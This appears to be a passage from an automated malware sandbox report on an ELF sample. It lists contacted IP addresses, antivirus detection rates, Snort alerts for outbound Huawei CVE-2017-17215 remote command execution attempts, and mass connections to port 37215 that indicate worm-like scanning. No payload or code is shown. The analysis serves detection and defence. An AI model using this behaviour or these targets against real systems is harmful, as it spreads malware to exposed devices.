111.71.132.78	unknown	Taiwan; Republic of China (ROC)	17421	EMOME-NETMobileBusinessGroupTW	false
98.30.11.116	unknown	United States	10796	TWC-10796-MIDWESTUS	false
126.32.30.4	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
213.95.251.204	unknown	Germany	12337	NORIS-NETWORKITServiceProviderlocatedinNuernbergGerm	false
95.199.194.164	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
41.179.133.53	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.37.36.139	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.82.246.62	unknown	South Africa	10474	OPTINETZA	false
157.21.225.99	unknown	United States	53446	EVMSUS	false
197.66.218.65	unknown	South Africa	16637	MTNNS-ASZA	false
41.18.169.222	unknown	South Africa	29975	VODACOM-ZA	false
157.232.147.215	unknown	United States	4704	SANNETRakutenMobileIncJP	false
197.204.213.172	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.4.89.169	unknown	Tunisia	5438	ATI-TN	false
64.157.89.206	unknown	United States	3064	AFFINITY-FTLUS	false
41.176.43.255	unknown	Egypt	36992	ETISALAT-MISREG	false
41.182.22.210	unknown	Namibia	36996	TELECOM-NAMIBIANA	false
77.6.87.85	unknown	Germany	6805	TDDE-ASN1DE	false
77.74.199.254	unknown	United Kingdom	42831	UKSERVERS-ASUKDedicatedServersHostingandCo-Location	false
163.208.44.35	unknown	Japan	7502	IP-KYOTOAdvancedSoftwareTechnologyManagementResearch	false
157.37.30.219	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
41.77.59.125	unknown	South Africa	36985	GMSZA	false
41.14.238.56	unknown	South Africa	29975	VODACOM-ZA	false
138.176.152.51	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
41.74.140.210	unknown	Cape Verde	37517	CV-MultimediaCV	false
197.73.232.43	unknown	South Africa	16637	MTNNS-ASZA	false
157.148.116.61	unknown	China	136958	UNICOM-GUANGZHOU-IDCChinaUnicomGuangdongIPnetworkCN	false
41.125.107.227	unknown	South Africa	16637	MTNNS-ASZA	false
157.230.191.4	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
197.185.70.90	unknown	South Africa	37105	NEOLOGY-ASZA	false
157.204.30.224	unknown	United States	54216	GORE-NETWORKUS	false

AV Detection

Multi AV Scanner detection for submitted file

Source: 6lqMB7o2Ts.elf	ReversingLabs: Detection: 58%
Source: 6lqMB7o2Ts.elf	Virustotal: Detection: 60%			Perma Link

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45516 -> 77.136.237.160:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41076 -> 41.238.196.116:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50306 -> 103.54.44.133:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46544 -> 104.128.127.228:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45438 -> 34.120.131.8:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55228 -> 94.187.108.185:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52002 -> 191.61.26.79:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58734 -> 41.239.25.98:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.58.58.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 77.136.237.160 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 41076
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 58734
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.177.188.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.59.173.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.84.173.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.172.201.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.88.124.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.234.113.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.240.223.204:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.159.13.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.187.14.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.109.52.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.28.198.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.48.46.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.213.200.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.108.205.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 148.94.3.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.37.53.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.156.162.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.205.17.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.173.117.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.35.113.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.18.245.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.91.82.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.249.225.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.38.65.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 153.6.146.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.165.42.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 221.4.37.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 207.233.206.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 76.155.143.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.85.67.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.222.143.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.115.11.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.60.205.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.100.148.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 62.145.68.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.228.77.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 180.9.6.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 61.98.120.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.20.252.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 38.159.96.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.227.185.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.0.84.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.177.127.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.88.204.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.95.151.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.149.105.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.89.253.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.25.121.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.6.247.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.33.174.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.85.159.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.74.67.240:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.101.97.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 72.105.46.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.181.81.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 90.189.98.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.47.217.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.53.85.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.79.9.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.231.20.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.200.222.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.237.79.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.221.78.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.70.163.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.173.1.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 39.11.52.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.208.122.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 60.244.169.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.175.165.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.222.26.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.170.213.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.157.122.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.252.111.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.193.188.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.49.20.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.221.204.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.66.25.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 38.94.45.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.218.37.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.27.94.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.40.41.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.45.140.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 201.102.113.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.4.146.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.233.163.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.181.83.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.170.166.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.84.230.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.131.241.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.76.57.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.178.19.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.216.63.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.157.223.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.213.69.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.37.128.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.196.110.94:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.16.173.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.203.63.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.187.144.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.33.111.40:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.74.23.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 146.238.227.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.176.94.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 86.155.94.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.175.181.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.173.71.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 198.15.1.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.153.241.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.89.244.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 67.252.98.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.125.243.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.45.54.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.232.199.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.65.189.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.130.203.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 168.56.211.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.117.93.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 5.135.215.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.121.244.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 159.143.125.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.218.239.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.76.40.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.161.136.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 93.5.212.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.112.162.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 39.101.148.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.131.164.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 208.207.242.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.202.81.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.10.30.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.69.69.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.35.209.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.51.146.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.91.8.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.98.167.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.146.12.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.230.148.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.164.224.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 210.25.222.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 207.145.133.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 165.171.226.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.29.121.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.163.79.24:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.99.234.240:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 201.78.150.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.215.20.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.122.22.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 166.113.228.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 112.218.90.87:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 97.92.78.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.169.168.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 198.5.217.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.60.227.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.184.71.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.221.201.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 74.236.70.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 116.100.9.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.79.180.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 189.174.177.254:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.126.147.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 140.93.135.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 54.188.192.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.63.220.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 150.0.60.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.36.240.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.226.68.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 64.10.186.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.69.238.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.233.154.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 58.226.162.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.55.193.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.125.197.128:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.182.174.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 69.83.219.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.38.86.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.85.205.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.213.24.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 134.190.152.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.253.223.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.47.56.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.185.50.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.20.29.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.72.17.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.124.166.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.20.241.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.88.85.192:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.47.113.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.151.220.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.88.92.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.227.84.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.175.194.66:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.50.8.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.116.61.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 86.15.251.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.66.60.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.98.6.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 222.174.170.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.205.195.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 98.102.137.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.234.186.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.141.239.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 102.141.11.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 112.98.190.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.177.204.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 100.132.82.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.171.133.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.73.69.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.27.173.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 119.78.176.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.190.2.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.129.224.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.152.155.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.217.202.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.233.128.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.169.135.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.85.221.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 209.82.222.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.179.238.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.216.42.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 69.202.115.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.42.192.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.123.74.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 142.251.5.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.203.54.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.54.52.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 220.178.173.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.229.197.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.53.201.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.147.127.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.181.63.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 60.214.213.136:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.9.27.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.208.47.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 194.169.86.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.0.202.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.12.98.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.244.194.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.197.133.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.17.114.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.24.249.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.37.50.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.128.190.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.117.118.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.162.139.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.83.6.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.13.244.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 117.28.75.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.62.149.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.232.30.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.147.2.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.228.104.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.147.75.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.187.150.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.37.213.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 113.99.209.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 68.21.203.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.245.247.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.72.161.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.245.218.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.98.9.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 111.43.181.192:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.99.173.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.12.225.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.167.37.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.230.139.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.246.98.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.55.0.228:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.30.182.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 219.244.131.228:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.136.252.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 12.132.113.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.251.171.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.251.169.24:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.59.159.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.58.165.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.124.56.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 115.56.52.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.193.125.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 83.60.93.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.28.106.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 97.255.231.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.183.175.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.177.77.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 2.215.94.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 95.181.128.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 205.204.141.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 72.123.244.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.57.138.106:37215
